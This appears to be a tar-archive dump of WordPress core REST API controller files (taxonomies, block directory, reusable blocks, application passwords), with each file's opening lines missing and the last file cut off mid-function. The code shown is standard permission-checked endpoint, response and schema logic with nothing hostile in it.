rest-api/endpoints/class-wp-rest-taxonomies-controller.php000064400000031577147177035020020100 0ustar00namespace = 'wp/v2'; $this->rest_base = 'taxonomies'; } /** * Registers the routes for taxonomies. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w-]+)', array( 'args' => array( 'taxonomy' => array( 'description' => __( 'An alphanumeric identifier for the taxonomy.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read taxonomies. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( 'edit' === $request['context'] ) { if ( ! empty( $request['type'] ) ) { $taxonomies = get_object_taxonomies( $request['type'], 'objects' ); } else { $taxonomies = get_taxonomies( '', 'objects' ); } foreach ( $taxonomies as $taxonomy ) { if ( ! empty( $taxonomy->show_in_rest ) && current_user_can( $taxonomy->cap->assign_terms ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to manage terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves all public taxonomies. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); if ( isset( $registered['type'] ) && ! empty( $request['type'] ) ) { $taxonomies = get_object_taxonomies( $request['type'], 'objects' ); } else { $taxonomies = get_taxonomies( '', 'objects' ); } $data = array(); foreach ( $taxonomies as $tax_type => $value ) { if ( empty( $value->show_in_rest ) || ( 'edit' === $request['context'] && ! current_user_can( $value->cap->assign_terms ) ) ) { continue; } $tax = $this->prepare_item_for_response( $value, $request ); $tax = $this->prepare_response_for_collection( $tax ); $data[ $tax_type ] = $tax; } if ( empty( $data ) ) { // Response should still be returned as a JSON object when it is empty. $data = (object) $data; } return rest_ensure_response( $data ); } /** * Checks if a given request has access to a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, otherwise false or WP_Error object. */ public function get_item_permissions_check( $request ) { $tax_obj = get_taxonomy( $request['taxonomy'] ); if ( $tax_obj ) { if ( empty( $tax_obj->show_in_rest ) ) { return false; } if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->assign_terms ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to manage terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) ); } } return true; } /** * Retrieves a specific taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $tax_obj = get_taxonomy( $request['taxonomy'] ); if ( empty( $tax_obj ) ) { return new WP_Error( 'rest_taxonomy_invalid', __( 'Invalid taxonomy.' ), array( 'status' => 404 ) ); } $data = $this->prepare_item_for_response( $tax_obj, $request ); return rest_ensure_response( $data ); } /** * Prepares a taxonomy object for serialization. * * @since 4.7.0 * @since 5.9.0 Renamed `$taxonomy` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Taxonomy $item Taxonomy data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $taxonomy = $item; $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'name', $fields, true ) ) { $data['name'] = $taxonomy->label; } if ( in_array( 'slug', $fields, true ) ) { $data['slug'] = $taxonomy->name; } if ( in_array( 'capabilities', $fields, true ) ) { $data['capabilities'] = $taxonomy->cap; } if ( in_array( 'description', $fields, true ) ) { $data['description'] = $taxonomy->description; } if ( in_array( 'labels', $fields, true ) ) { $data['labels'] = $taxonomy->labels; } if ( in_array( 'types', $fields, true ) ) { $data['types'] = array_values( $taxonomy->object_type ); } if ( in_array( 'show_cloud', $fields, true ) ) { $data['show_cloud'] = $taxonomy->show_tagcloud; } if ( in_array( 'hierarchical', $fields, true ) ) { $data['hierarchical'] = $taxonomy->hierarchical; } if ( in_array( 'rest_base', $fields, true ) ) { $data['rest_base'] = $base; } if ( in_array( 'rest_namespace', $fields, true ) ) { $data['rest_namespace'] = $taxonomy->rest_namespace; } if ( in_array( 'visibility', $fields, true ) ) { $data['visibility'] = array( 'public' => (bool) $taxonomy->public, 'publicly_queryable' => (bool) $taxonomy->publicly_queryable, 'show_admin_column' => (bool) $taxonomy->show_admin_column, 'show_in_nav_menus' => (bool) $taxonomy->show_in_nav_menus, 'show_in_quick_edit' => (bool) $taxonomy->show_in_quick_edit, 'show_ui' => (bool) $taxonomy->show_ui, ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); $response->add_links( array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'https://api.w.org/items' => array( 'href' => rest_url( rest_get_route_for_taxonomy_items( $taxonomy->name ) ), ), ) ); /** * Filters a taxonomy returned from the REST API. * * Allows modification of the taxonomy data right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Taxonomy $item The original taxonomy object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_taxonomy', $response, $taxonomy, $request ); } /** * Retrieves the taxonomy's schema, conforming to JSON Schema. * * @since 4.7.0 * @since 5.0.0 The `visibility` property was added. * @since 5.9.0 The `rest_namespace` property was added. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'taxonomy', 'type' => 'object', 'properties' => array( 'capabilities' => array( 'description' => __( 'All capabilities used by the taxonomy.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'A human-readable description of the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'hierarchical' => array( 'description' => __( 'Whether or not the taxonomy should have children.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'labels' => array( 'description' => __( 'Human-readable labels for the taxonomy for various contexts.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'The title for the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'show_cloud' => array( 'description' => __( 'Whether or not the term cloud should be displayed.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'types' => array( 'description' => __( 'Types associated with the taxonomy.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'rest_base' => array( 'description' => __( 'REST base route for the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'rest_namespace' => array( 'description' => __( 'REST namespace route for the taxonomy.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'visibility' => array( 'description' => __( 'The visibility settings for the taxonomy.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, 'properties' => array( 'public' => array( 'description' => __( 'Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users.' ), 'type' => 'boolean', ), 'publicly_queryable' => array( 'description' => __( 'Whether the taxonomy is publicly queryable.' ), 'type' => 'boolean', ), 'show_ui' => array( 'description' => __( 'Whether to generate a default UI for managing this taxonomy.' ), 'type' => 'boolean', ), 'show_admin_column' => array( 'description' => __( 'Whether to allow automatic creation of taxonomy columns on associated post-types table.' ), 'type' => 'boolean', ), 'show_in_nav_menus' => array( 'description' => __( 'Whether to make the taxonomy available for selection in navigation menus.' ), 'type' => 'boolean', ), 'show_in_quick_edit' => array( 'description' => __( 'Whether to show the taxonomy in the quick/bulk edit panel.' ), 'type' => 'boolean', ), ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { $new_params = array(); $new_params['context'] = $this->get_context_param( array( 'default' => 'view' ) ); $new_params['type'] = array( 'description' => __( 'Limit results to taxonomies associated with a specific post type.' ), 'type' => 'string', ); return $new_params; } } rest-api/endpoints/class-wp-rest-block-directory-controller.php000064400000023070147177035020020773 0ustar00namespace = 'wp/v2'; $this->rest_base = 'block-directory'; } /** * Registers the necessary REST API routes. */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base . '/search', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to install and activate plugins. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has permission, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( ! current_user_can( 'install_plugins' ) || ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_block_directory_cannot_view', __( 'Sorry, you are not allowed to browse the block directory.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Search and retrieve blocks metadata * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; require_once ABSPATH . 'wp-admin/includes/plugin.php'; $response = plugins_api( 'query_plugins', array( 'block' => $request['term'], 'per_page' => $request['per_page'], 'page' => $request['page'], ) ); if ( is_wp_error( $response ) ) { $response->add_data( array( 'status' => 500 ) ); return $response; } $result = array(); foreach ( $response->plugins as $plugin ) { // If the API returned a plugin with empty data for 'blocks', skip it. if ( empty( $plugin['blocks'] ) ) { continue; } $data = $this->prepare_item_for_response( $plugin, $request ); $result[] = $this->prepare_response_for_collection( $data ); } return rest_ensure_response( $result ); } /** * Parse block metadata for a block, and prepare it for an API response. * * @since 5.5.0 * @since 5.9.0 Renamed `$plugin` to `$item` to match parent class for PHP 8 named parameter support. * * @param array $item The plugin metadata. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $plugin = $item; // There might be multiple blocks in a plugin. Only the first block is mapped. $block_data = reset( $plugin['blocks'] ); // A data array containing the properties we'll return. $block = array( 'name' => $block_data['name'], 'title' => ( $block_data['title'] ? $block_data['title'] : $plugin['name'] ), 'description' => wp_trim_words( $plugin['short_description'], 30, '...' ), 'id' => $plugin['slug'], 'rating' => $plugin['rating'] / 20, 'rating_count' => (int) $plugin['num_ratings'], 'active_installs' => (int) $plugin['active_installs'], 'author_block_rating' => $plugin['author_block_rating'] / 20, 'author_block_count' => (int) $plugin['author_block_count'], 'author' => wp_strip_all_tags( $plugin['author'] ), 'icon' => ( isset( $plugin['icons']['1x'] ) ? $plugin['icons']['1x'] : 'block-default' ), 'last_updated' => gmdate( 'Y-m-d\TH:i:s', strtotime( $plugin['last_updated'] ) ), 'humanized_updated' => sprintf( /* translators: %s: Human-readable time difference. */ __( '%s ago' ), human_time_diff( strtotime( $plugin['last_updated'] ) ) ), ); $this->add_additional_fields_to_object( $block, $request ); $response = new WP_REST_Response( $block ); $response->add_links( $this->prepare_links( $plugin ) ); return $response; } /** * Generates a list of links to include in the response for the plugin. * * @since 5.5.0 * * @param array $plugin The plugin data from WordPress.org. * @return array */ protected function prepare_links( $plugin ) { $links = array( 'https://api.w.org/install-plugin' => array( 'href' => add_query_arg( 'slug', urlencode( $plugin['slug'] ), rest_url( 'wp/v2/plugins' ) ), ), ); $plugin_file = $this->find_plugin_for_slug( $plugin['slug'] ); if ( $plugin_file ) { $links['https://api.w.org/plugin'] = array( 'href' => rest_url( 'wp/v2/plugins/' . substr( $plugin_file, 0, - 4 ) ), 'embeddable' => true, ); } return $links; } /** * Finds an installed plugin for the given slug. * * @since 5.5.0 * * @param string $slug The WordPress.org directory slug for a plugin. * @return string The plugin file found matching it. */ protected function find_plugin_for_slug( $slug ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; $plugin_files = get_plugins( '/' . $slug ); if ( ! $plugin_files ) { return ''; } $plugin_files = array_keys( $plugin_files ); return $slug . '/' . reset( $plugin_files ); } /** * Retrieves the theme's schema, conforming to JSON Schema. * * @since 5.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'block-directory-item', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The block name, in namespace/block-name format.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'title' => array( 'description' => __( 'The block title, in human readable format.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'description' => array( 'description' => __( 'A short description of the block, in human readable format.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'id' => array( 'description' => __( 'The block slug.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'rating' => array( 'description' => __( 'The star rating of the block.' ), 'type' => 'number', 'context' => array( 'view' ), ), 'rating_count' => array( 'description' => __( 'The number of ratings.' ), 'type' => 'integer', 'context' => array( 'view' ), ), 'active_installs' => array( 'description' => __( 'The number sites that have activated this block.' ), 'type' => 'integer', 'context' => array( 'view' ), ), 'author_block_rating' => array( 'description' => __( 'The average rating of blocks published by the same author.' ), 'type' => 'number', 'context' => array( 'view' ), ), 'author_block_count' => array( 'description' => __( 'The number of blocks published by the same author.' ), 'type' => 'integer', 'context' => array( 'view' ), ), 'author' => array( 'description' => __( 'The WordPress.org username of the block author.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'icon' => array( 'description' => __( 'The block icon.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view' ), ), 'last_updated' => array( 'description' => __( 'The date when the block was last updated.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view' ), ), 'humanized_updated' => array( 'description' => __( 'The date when the block was last updated, in fuzzy human readable format.' ), 'type' => 'string', 'context' => array( 'view' ), ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the search params for the blocks collection. * * @since 5.5.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['term'] = array( 'description' => __( 'Limit result set to blocks matching the search term.' ), 'type' => 'string', 'required' => true, 'minLength' => 1, ); unset( $query_params['search'] ); /** * Filters REST API collection parameters for the block directory controller. * * @since 5.5.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_block_directory_collection_params', $query_params ); } } rest-api/endpoints/class-wp-rest-blocks-controller.php000064400000005230147177035020017152 0ustar00ID ) ) { return false; } return parent::check_read_permission( $post ); } /** * Filters a response based on the context defined in the schema. * * @since 5.0.0 * * @param array $data Response data to filter. * @param string $context Context defined in the schema. * @return array Filtered response. */ public function filter_response_by_context( $data, $context ) { $data = parent::filter_response_by_context( $data, $context ); /* * Remove `title.rendered` and `content.rendered` from the response. It * doesn't make sense for a reusable block to have rendered content on its * own, since rendering a block requires it to be inside a post or a page. */ unset( $data['title']['rendered'] ); unset( $data['content']['rendered'] ); return $data; } /** * Retrieves the block's schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { // Do not cache this schema because all properties are derived from parent controller. $schema = parent::get_item_schema(); /* * Allow all contexts to access `title.raw` and `content.raw`. Clients always * need the raw markup of a reusable block to do anything useful, e.g. parse * it or display it in an editor. */ $schema['properties']['title']['properties']['raw']['context'] = array( 'view', 'edit' ); $schema['properties']['content']['properties']['raw']['context'] = array( 'view', 'edit' ); /* * Remove `title.rendered` and `content.rendered` from the schema. It doesn’t * make sense for a reusable block to have rendered content on its own, since * rendering a block requires it to be inside a post or a page. */ unset( $schema['properties']['title']['properties']['rendered'] ); unset( $schema['properties']['content']['properties']['rendered'] ); return $schema; } } rest-api/endpoints/class-wp-rest-application-passwords-controller.php000064400000056541147177035020022236 0ustar00namespace = 'wp/v2'; $this->rest_base = 'users/(?P(?:[\d]+|me))/application-passwords'; } /** * Registers the REST API routes for the application passwords controller. * * @since 5.6.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema(), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_items' ), 'permission_callback' => array( $this, 'delete_items_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/introspect', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_current_item' ), 'permission_callback' => array( $this, 'get_current_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\w\-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to get application passwords. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'list_app_passwords', $user->ID ) ) { return new WP_Error( 'rest_cannot_list_application_passwords', __( 'Sorry, you are not allowed to list application passwords for this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves a collection of application passwords. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $passwords = WP_Application_Passwords::get_user_application_passwords( $user->ID ); $response = array(); foreach ( $passwords as $password ) { $response[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $password, $request ) ); } return new WP_REST_Response( $response ); } /** * Checks if a given request has access to get a specific application password. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'read_app_password', $user->ID, $request['uuid'] ) ) { return new WP_Error( 'rest_cannot_read_application_password', __( 'Sorry, you are not allowed to read this application password.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves one application password from the collection. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $password = $this->get_application_password( $request ); if ( is_wp_error( $password ) ) { return $password; } return $this->prepare_item_for_response( $password, $request ); } /** * Checks if a given request has access to create application passwords. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'create_app_password', $user->ID ) ) { return new WP_Error( 'rest_cannot_create_application_passwords', __( 'Sorry, you are not allowed to create application passwords for this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Creates an application password. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $prepared = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared ) ) { return $prepared; } $created = WP_Application_Passwords::create_new_application_password( $user->ID, wp_slash( (array) $prepared ) ); if ( is_wp_error( $created ) ) { return $created; } $password = $created[0]; $item = WP_Application_Passwords::get_user_application_password( $user->ID, $created[1]['uuid'] ); $item['new_password'] = WP_Application_Passwords::chunk_password( $password ); $fields_update = $this->update_additional_fields_for_object( $item, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } /** * Fires after a single application password is completely created or updated via the REST API. * * @since 5.6.0 * * @param array $item Inserted or updated password item. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating an application password, false when updating. */ do_action( 'rest_after_insert_application_password', $item, $request, true ); $request->set_param( 'context', 'edit' ); $response = $this->prepare_item_for_response( $item, $request ); $response->set_status( 201 ); $response->header( 'Location', $response->get_links()['self'][0]['href'] ); return $response; } /** * Checks if a given request has access to update application passwords. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'edit_app_password', $user->ID, $request['uuid'] ) ) { return new WP_Error( 'rest_cannot_edit_application_password', __( 'Sorry, you are not allowed to edit this application password.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates an application password. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $item = $this->get_application_password( $request ); if ( is_wp_error( $item ) ) { return $item; } $prepared = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared ) ) { return $prepared; } $saved = WP_Application_Passwords::update_application_password( $user->ID, $item['uuid'], wp_slash( (array) $prepared ) ); if ( is_wp_error( $saved ) ) { return $saved; } $fields_update = $this->update_additional_fields_for_object( $item, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $item = WP_Application_Passwords::get_user_application_password( $user->ID, $item['uuid'] ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php */ do_action( 'rest_after_insert_application_password', $item, $request, false ); $request->set_param( 'context', 'edit' ); return $this->prepare_item_for_response( $item, $request ); } /** * Checks if a given request has access to delete all application passwords for a user. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_items_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'delete_app_passwords', $user->ID ) ) { return new WP_Error( 'rest_cannot_delete_application_passwords', __( 'Sorry, you are not allowed to delete application passwords for this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes all application passwords for a user. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_items( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $deleted = WP_Application_Passwords::delete_all_application_passwords( $user->ID ); if ( is_wp_error( $deleted ) ) { return $deleted; } return new WP_REST_Response( array( 'deleted' => true, 'count' => $deleted, ) ); } /** * Checks if a given request has access to delete a specific application password for a user. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'delete_app_password', $user->ID, $request['uuid'] ) ) { return new WP_Error( 'rest_cannot_delete_application_password', __( 'Sorry, you are not allowed to delete this application password.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes an application password for a user. * * @since 5.6.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $password = $this->get_application_password( $request ); if ( is_wp_error( $password ) ) { return $password; } $request->set_param( 'context', 'edit' ); $previous = $this->prepare_item_for_response( $password, $request ); $deleted = WP_Application_Passwords::delete_application_password( $user->ID, $password['uuid'] ); if ( is_wp_error( $deleted ) ) { return $deleted; } return new WP_REST_Response( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); } /** * Checks if a given request has access to get the currently used application password for a user. * * @since 5.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_current_item_permissions_check( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( get_current_user_id() !== $user->ID ) { return new WP_Error( 'rest_cannot_introspect_app_password_for_non_authenticated_user', __( 'The authenticated application password can only be introspected for the current user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves the application password being currently used for authentication of a user. * * @since 5.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_current_item( $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $uuid = rest_get_authenticated_app_password(); if ( ! $uuid ) { return new WP_Error( 'rest_no_authenticated_app_password', __( 'Cannot introspect application password.' ), array( 'status' => 404 ) ); } $password = WP_Application_Passwords::get_user_application_password( $user->ID, $uuid ); if ( ! $password ) { return new WP_Error( 'rest_application_password_not_found', __( 'Application password not found.' ), array( 'status' => 500 ) ); } return $this->prepare_item_for_response( $password, $request ); } /** * Performs a permissions check for the request. * * @since 5.6.0 * @deprecated 5.7.0 Use `edit_user` directly or one of the specific meta capabilities introduced in 5.7.0. * * @param WP_REST_Request $request * @return true|WP_Error */ protected function do_permissions_check( $request ) { _deprecated_function( __METHOD__, '5.7.0' ); $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } if ( ! current_user_can( 'edit_user', $user->ID ) ) { return new WP_Error( 'rest_cannot_manage_application_passwords', __( 'Sorry, you are not allowed to manage application passwords for this user.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Prepares an application password for a create or update operation. * * @since 5.6.0 * * @param WP_REST_Request $request Request object. * @return object|WP_Error The prepared item, or WP_Error object on failure. */ protected function prepare_item_for_database( $request ) { $prepared = (object) array( 'name' => $request['name'], ); if ( $request['app_id'] && ! $request['uuid'] ) { $prepared->app_id = $request['app_id']; } /** * Filters an application password before it is inserted via the REST API. * * @since 5.6.0 * * @param stdClass $prepared An object representing a single application password prepared for inserting or updating the database. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_pre_insert_application_password', $prepared, $request ); } /** * Prepares the application password for the REST response. * * @since 5.6.0 * * @param array $item WordPress representation of the item. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $user = $this->get_user( $request ); if ( is_wp_error( $user ) ) { return $user; } $prepared = array( 'uuid' => $item['uuid'], 'app_id' => empty( $item['app_id'] ) ? '' : $item['app_id'], 'name' => $item['name'], 'created' => gmdate( 'Y-m-d\TH:i:s', $item['created'] ), 'last_used' => $item['last_used'] ? gmdate( 'Y-m-d\TH:i:s', $item['last_used'] ) : null, 'last_ip' => $item['last_ip'] ? $item['last_ip'] : null, ); if ( isset( $item['new_password'] ) ) { $prepared['password'] = $item['new_password']; } $prepared = $this->add_additional_fields_to_object( $prepared, $request ); $prepared = $this->filter_response_by_context( $prepared, $request['context'] ); $response = new WP_REST_Response( $prepared ); $response->add_links( $this->prepare_links( $user, $item ) ); /** * Filters the REST API response for an application password. * * @since 5.6.0 * * @param WP_REST_Response $response The response object. * @param array $item The application password array. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_application_password', $response, $item, $request ); } /** * Prepares links for the request. * * @since 5.6.0 * * @param WP_User $user The requested user. * @param array $item The application password. * @return array The list of links. */ protected function prepare_links( WP_User $user, $item ) { return array( 'self' => array( 'href' => 